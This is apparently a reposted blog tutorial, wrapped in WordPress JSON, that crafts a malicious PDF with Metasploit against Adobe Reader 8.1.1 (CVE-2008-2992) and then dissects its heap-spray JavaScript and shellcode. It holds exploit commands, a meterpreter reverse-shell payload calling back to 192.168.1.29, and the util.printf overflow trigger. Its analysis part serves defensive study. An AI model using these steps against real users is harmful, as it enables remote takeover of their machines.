{"id":3330,"date":"2018-11-13T04:20:46","date_gmt":"2018-11-13T04:20:46","guid":{"rendered":"https:\/\/www.appservgrid.com\/paw92\/?p=3330"},"modified":"2018-11-17T14:05:16","modified_gmt":"2018-11-17T14:05:16","slug":"payload-in-pdf-ls-blog","status":"publish","type":"post","link":"https:\/\/www.appservgrid.com\/paw92\/index.php\/2018\/11\/13\/payload-in-pdf-ls-blog\/","title":{"rendered":"Payload in PDF \u2013 ls \/blog"},"content":{"rendered":"<p>Infected PDFs have always been a privileged way to infect users because this document format is very common and used by almost everyone. Moreover, it exists many ways to exploit Acrobat Reader vulnerabilities and it\u2019s very stealth and elegant way to launch a malware.<\/p>\n<p>In this article, I will show you how easy it is to craft a malicious PDF with custom shellcode, and trigger a vulnerability to execute a payload. We will also analyse the malicious PDF to learn how the payload is stored, and how to extract it.<\/p>\n<p>This article is for research purpose only, don\u2019t do bad things!<\/p>\n<p>PDF is object oriented format, defined by Adobe. This format describes a document organization, and preserves dependencies needed for the document (fonts, images, \u2026). These objects are stored within the document as streams and most of the time encoded or compressed. Below is the overview of a classic PDF document. For more information, <a href=\"http:\/\/partners.adobe.com\/public\/developer\/tips\/topic_tip31.html\">please read Adobe\u2019s specifications<\/a>.<\/p>\n<p><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture6-2.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture6-2.png\" alt=\"Capture6\" width=\"1072\" height=\"759\" \/><\/a><\/p>\n<h2>Infected PDF creation<\/h2>\n<p>We will create a fake PDF with <a href=\"http:\/\/www.metasploit.com\/\">metasploit<\/a>, containing an exploit attempt, as well as a custom payload (code to execute). The exploit is targeting a specific version of Adobe Reader, so we will need to make some archaeology and find an ancient Reader version (thanks to <a href=\"http:\/\/www.oldapps.com\/\">http:\/\/www.oldapps.com\/<\/a>) to install on the target machine.<\/p>\n<p>So, first, let\u2019s make this PDF. We will make a infected PDF that just opens calculator (calc.exe) on the machine, just for demonstration. Open a metasploit console (installation of metasploit is not covered in this article) and type:<\/p>\n<table>\n<tbody>\n<tr>\n<td><\/td>\n<td>use exploit\/windows\/fileformat\/adobe_utilprintf<\/p>\n<p>set FILENAME malicious.pdf<\/p>\n<p>set PAYLOAD windows\/exec<\/p>\n<p>set CMD calc.exe<\/p>\n<p>show options<\/p>\n<p>exploit<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>It should look like this:<\/p>\n<p><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture7-1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture7-1.png\" alt=\"Capture7\" width=\"1145\" height=\"684\" \/><\/a><\/p>\n<p>Copy the file that has just been created (here \/home\/osboxes\/.msf4\/local\/malicious.pdf) on a shared drive. You will need to feed your target machine with it.<\/p>\n<h2>Infected PDF execution<\/h2>\n<p>On the target machine, download and install a vulnerable Adobe Reader version (metasploit tells us it should be less than 8.1.2). I choose to <a href=\"http:\/\/www.oldapps.com\/adobe_reader.php?old_adobe=16\">install a 8.1.1 version<\/a>.<\/p>\n<p>Once installed, execute the malicious.pdf file. You should see a calculator being spawned from the Adobe Reader process. That\u2019s the exploit.<\/p>\n<p><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture8-1.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture8-1.png\" alt=\"Capture8\" width=\"1057\" height=\"516\" \/><\/a><\/p>\n<p>I\u2019ve done another PDF but changed the payload slightly, just for fun:<\/p>\n<table>\n<tbody>\n<tr>\n<td><\/td>\n<td>set PAYLOAD windows\/meterpreter\/reverse_tcp<\/p>\n<p>set LHOST 192.168.1.29<\/p>\n<p>set LPORT 4455<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Here\u2019s the result. Adobe Reader now has a backdoor (reverse shell) listening for commands.<\/p>\n<p><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture9.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture9.png\" alt=\"Capture9\" width=\"1116\" height=\"505\" \/><\/a><\/p>\n<h2>Infected PDF analysis<\/h2>\n<p>Played enough! Let\u2019s see what\u2019s inside that malicious PDF, and let\u2019s try to extract the malicious payload(we\u2019re still with the calc.exe PDF).<\/p>\n<p>First, we will need a tool called <a href=\"http:\/\/sandsprite.com\/blogs\/index.php?uid=7&amp;pid=57\">PDF Stream Dumper, so download it<\/a>. Load the malicious PDF with it, and take some time to familiarize yourself with the tool.<\/p>\n<p><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture10.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture10.png\" alt=\"Capture10\" width=\"925\" height=\"599\" \/><\/a><\/p>\n<p>We can start by checking if some exploit is detected by the tool using the \u201cExploit Scan\u201d menu:<\/p>\n<table>\n<tbody>\n<tr>\n<td><\/td>\n<td>Exploit CVE\u20132008\u20132992 Date:11.4.08 v8.1.2 \u2013 util.printf \u2013 found in stream: 6<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Indeed, there\u2019s an exploit hidden in stream 6 (the one in blue on the capture).<\/p>\n<p>But let\u2019s start by the beginning: when searching for exploits in a PDF, we most of the time encounter <a href=\"https:\/\/en.wikipedia.org\/wiki\/Heap_spraying\">heap spray<\/a> created by a Javascript code. That heap spray is used to push the payload on the heap, ready to be executed once the vulnerability has triggered.<\/p>\n<p>If you open Stream 1, you can see:<\/p>\n<table>\n<tbody>\n<tr>\n<td><\/td>\n<td>\/Type\/Catalog\/Outlines 2 0 R\/Pages 3 0 R\/OpenAction 5 0 R<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>That we can translate to OpenAction on stream 5. Let\u2019s move to stream 5:<\/p>\n<table>\n<tbody>\n<tr>\n<td><\/td>\n<td>\/Type\/Action\/S\/JavaScript\/JS 6 0 R<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Which says to execute Javascript located in stream 6. This stream shows plain Javascript, it\u2019s time to open the \u201cJavascript_UI\u201d menu. We immediately recognize a big string hex encoded, and pushed into a variable for heap spray. This is our payload:<\/p>\n<p><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture11.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture11.png\" alt=\"Capture11\" width=\"1154\" height=\"745\" \/><\/a><\/p>\n<p>Fortunately, we have tools to manipulate it, and understand what it does. Select the payload (the part between quotes), and open \u201cShellcode_analysis\u201d menu. Then choose \u201cscDbg \u2013 LibEmu Emulation\u201d. You will get a new window will the shellcode decoded into bytes (you can even save it to file):<\/p>\n<p><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture12.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture12.png\" alt=\"Capture12\" width=\"1152\" height=\"745\" \/><\/a><\/p>\n<p>LibEmu is a library able to simulate a processor, it gives information about what the assembly code is trying to do. Just hit the \u201cLaunch\u201d button and you will understand:<\/p>\n<p><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture13.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture13.png\" alt=\"Capture13\" width=\"506\" height=\"221\" \/><\/a><\/p>\n<p>Here it is, we can clearly see the shellcode will just opens a calc.exe window and exits.<br \/>\nLet\u2019s redo the same analysis for the other malicious PDF (reverse shell):<\/p>\n<p><a href=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture14.png\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/www.adlice.com\/wp-content\/uploads\/2016\/06\/Capture14.png\" alt=\"Capture14\" width=\"613\" height=\"277\" \/><\/a><\/p>\n<p>Uh, self explaining right? Shellcode is loading the library needed to manipulate sockets (ws2_32.dll), and tries to connect back to C&amp;C.<\/p>\n<p>I haven\u2019t told about the exploit itself, it\u2019s located at the end of the javascript code (like stated by Exploit search, \u201cutil.printf \u2013 found in stream: 6\u201d). It\u2019s exploiting a buffer overflow on printf function to execute arbitrary code (here, our heap-sprayed shellcode)<\/p>\n<table>\n<tbody>\n<tr>\n<td><\/td>\n<td>util.printf(\u201c%45000.45000f\u201d, 0);<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>I hope you enjoyed this blog post, please like, comment or share, or do all of that, it\u2019s up to you. Also, thanks for the visit \ud83d\ude09<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/secure.gravatar.com\/avatar\/6103628bb88962fb43fcc7f688cf0481?s=80&amp;d=https%3A%2F%2Fwww.adlice.com%2Fwp-content%2Fthemes%2Fdt-the7%2Fimages%2Fno-avatar.gif&amp;r=g\" alt=\"\" width=\"80\" height=\"80\" \/><\/p>\n<h4>Author: tigzy<\/h4>\n<p>Founder and owner of Adlice Software, Tigzy started as lead developer on the popular Anti-malware called RogueKiller. Involved in all the Adlice projects as lead developer, Tigzy is also doing research and reverse engineering as well as writing blog posts.<\/p>\n<p><a href=\"https:\/\/linuxsecurityblog.com\/2018\/11\/12\/payload-in-pdf\/\" target=\"_blank\" rel=\"noopener\">Source<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Infected PDFs have always been a privileged way to infect users because this document format is very common and used by almost everyone. Moreover, it exists many ways to exploit Acrobat Reader vulnerabilities and it\u2019s very stealth and elegant way to launch a malware. In this article, I will show you how easy it is &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/www.appservgrid.com\/paw92\/index.php\/2018\/11\/13\/payload-in-pdf-ls-blog\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Payload in PDF \u2013 ls \/blog&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3330","post","type-post","status-publish","format-standard","hentry","category-linux"],"_links":{"self":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts\/3330","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/comments?post=3330"}],"version-history":[{"count":2,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts\/3330\/revisions"}],"predecessor-version":[{"id":3586,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/posts\/3330\/revisions\/3586"}],"wp:attachment":[{"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/media?parent=3330"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/categories?post=3330"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.appservgrid.com\/paw92\/index.php\/wp-json\/wp\/v2\/tags?post=3330"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}